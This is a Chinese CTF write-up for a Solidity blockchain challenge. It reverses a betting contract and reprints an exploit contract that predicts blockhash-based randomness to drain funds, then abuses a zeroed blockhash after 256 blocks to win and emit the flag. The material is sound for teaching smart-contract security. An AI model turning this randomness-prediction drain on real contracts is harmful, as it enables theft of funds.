华为鸿蒙场区块链

华为鸿蒙场的区块链,题目没有给出源码。但是已经找不到复现了。应该是pikachu师傅用他的docker出的。这里我自己部署了下原合约。然后重新逆向一次。

Resource

pragma solidity ^0.4.23;

contract ContractGame {
    
    event SendFlag(address addr);
    
    mapping(address => bool) internal authPlayer;
    uint private blocknumber;
    uint private gameFunds;
    uint private cost;
    bool private gameStopped = false;
    address public owner;
    bytes4 private winningTicket;
    uint randomNumber = 0;
    mapping(address=>bool) private potentialWinner;
    mapping(address=>uint256) private rewards;
    mapping(address=>bytes4) private ticketNumbers;
    
    constructor() public payable {
        gameFunds = add(gameFunds, msg.value);
        cost = div(gameFunds, 10);
        owner = msg.sender;
        rewards[address(this)] = msg.value;
    }
    
    modifier auth() {
        require(authPlayer[msg.sender], "you are not authorized!");
        _;
    }
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }
    
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
    
    function BetGame(bool mark) external payable {
        require(msg.value == cost);
        require(gameFunds >= div(cost, 2));
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[10] & 1;
        if ((coinFlip == 1 && mark) || (coinFlip == 0 && !mark)) {
            gameFunds = sub(gameFunds, div(msg.value, 2));
            msg.sender.transfer(div(mul(msg.value, 3), 2));
        } else {
            gameFunds = add(gameFunds, msg.value);
        }
        
        if (address(this).balance==0) {
            winningTicket = bytes4(0);
            blocknumber = block.number + 1;
            gameStopped = false;
            potentialWinner[msg.sender] = true;
            rewards[msg.sender] += msg.value;
            ticketNumbers[msg.sender] = bytes4((msg.value - cost)/10**8);
        }
    }
    
    function closeGame() external auth {
        require(!gameStopped);
        require(blocknumber != 0);
        require(winningTicket == bytes4(0));
        require(block.number > blocknumber);
        require(msg.sender == owner || rewards[msg.sender] > 0);
        winningTicket = bytes4(blockhash(blocknumber));
        potentialWinner[msg.sender] = false;
        gameStopped = true;
    }
    
    function winGame() external auth {
        require(gameStopped);
        require(potentialWinner[msg.sender]);
        if(winningTicket == ticketNumbers[msg.sender]){
            emit SendFlag(msg.sender);
        }
        selfdestruct(msg.sender);
    }
    
    function AddAuth(address addr) external {
        authPlayer[addr] = true;
    }
    
    function() public payable auth{
        if(msg.value == 0) {
            this.closeGame();
        } else {
            this.winGame();
        }
    }
}

... EVM和Ropsten网站全连不上了。。。我迷了。

那就直接看源代码吧。

   function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }
    
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
    

这里相当于自写了个safemath。防止溢出Blabla的。

这里剩下可调用的函数采用了external auth等函数声明方法,经过查询也是public的 是可以被外部调用的。主要是可以大量减少在外部传入大数组时的合约交互的gas。

 function() public payable auth{
        if(msg.value == 0) {
            this.closeGame();
        } else {
            this.winGame();
        }
    }

这个是一个fallback。当被call的时候检测msg.value 如果是0就closegame,否则就去检测Wingame。

   function winGame() external auth {
        require(gameStopped);
        require(potentialWinner[msg.sender]);
        if(winningTicket == ticketNumbers[msg.sender]){
            emit SendFlag(msg.sender);
        }
        selfdestruct(msg.sender);
    }

Wingame中,需要game已经停止, 并且需要potentialWinner[msg.sender]为1,并且如果winningticket == ticketNumbers[msg.sender]就会触发flag了。

 function closeGame() external auth {
        require(!gameStopped);
        require(blocknumber != 0);
        require(winningTicket == bytes4(0));
        require(block.number > blocknumber);
        require(msg.sender == owner || rewards[msg.sender] > 0);
        winningTicket = bytes4(blockhash(blocknumber));
        potentialWinner[msg.sender] = false;
        gameStopped = true;
    }

这里主要进行了closegame 也就是gamestop赋值。这里需要的是game还没stop且blocknumber!=0,并且winningticket=bytes4(0) 且block.number>blocknumber 以及msg.sender已经变成owner,且rewards[msg.sender]

那么这里就会赋值potentialWinner[msg.sender]=false gamestopped=true。这里成功满足了wingame的第一个但是没有满足第二个。

那么现在接着看构造函数。

 constructor() public payable {
        gameFunds = add(gameFunds, msg.value);
        cost = div(gameFunds, 10);
        owner = msg.sender;
        rewards[address(this)] = msg.value;
    }

创建的时候,直接会让gameFunds=gameFunds+msg.value传入值。

cost= gamefunds/10

owner就变成了msg.sender.

且rewards[address(this)]=msg.value

还有一个Bet函数

function BetGame(bool mark) external payable {
        require(msg.value == cost);
        require(gameFunds >= div(cost, 2));
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[10] & 1;
        if ((coinFlip == 1 && mark) || (coinFlip == 0 && !mark)) {
            gameFunds = sub(gameFunds, div(msg.value, 2));
            msg.sender.transfer(div(mul(msg.value, 3), 2));
        } else {
            gameFunds = add(gameFunds, msg.value);
        }
        
        if (address(this).balance==0) {
            winningTicket = bytes4(0);
            blocknumber = block.number + 1;
            gameStopped = false;
            potentialWinner[msg.sender] = true;
            rewards[msg.sender] += msg.value;
            ticketNumbers[msg.sender] = bytes4((msg.value - cost)/10**8);
        }
    }

这里先要求cost 也就是创建时候的msg.value/10 == 当前传入的msg.value

并且gamefunds >= cost/2

然后是经典的随机数预测。 攻击合约一模一样 写就可以得到相同的结果。

然后写了个巨奇怪的if

其实就是coinFlip==mark。猜对了的话 GameFunds+=msg.value/2

msg.sender.transfer(msg.value*1.5)

要不然就GameFunds +=msg.value

这里进行完事之后 如果合约的balance==0了

那么winningTicket=bytes(4) blocknumber+=1

gameStopped=0 potentialWinner[msg.sender]=1

rewards[msg.sender]+=msg.value

TicketNumbers[msg.sender]=bytes4((msg.value-cost)/10^8)

这里的条件直接基本把closegame这里的要求全满足了。

然后我们首先就是要开始进行题目了。 首先我们给两个ether,相当于让他创建一个有2eth 的游戏。 每次他会输出来0.1eth ,我们进行20次就够了。

然后先call AddAuth题目的合约地址,再call Addauth 外部账户地址,再CallAddauth 攻击合约的地址。

最后利用题目合约的fallback调用closegame防止他把我们的

potentialWinner 给改了。
那么现在就满足了所有条件
直接winGame就可以了。
贴下pikachu师傅的exp
modifier是为了允许我们的这些地址可以调用这些函数。
所以都要加到Addauth里面。
 
contract hack {
    ContractGame target = ContractGame(题目地址);
    
    // first: call pwn with 2 ether
    function pwn() payable public {
        bytes32 entropy = block.blockhash(block.number-1);
        bytes1 coinFlip = entropy[10] & 1;
        for(int i=0;i<20;i++){ 
            if (coinFlip == 1){
                target.BetGame.value(100000000000000000)(true);
            } else {
                target.BetGame.value(100000000000000000)(false);
            }
        }
    }
    
    // second: call AddAuth(题目合约地址)
    // third: call AddAuth(外部账户地址)
    // forth: call AddAuth(攻击合约地址)
    // fifth: after 256 blocks then call fallback(可以通过外部账户直接转账msg.value=0即可,然后会调用closeGame函数)
    
    // sixth: call winGame()
    function winGame() public {
        target.winGame();
    }
    
    function() payable {}
}

推荐文章

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注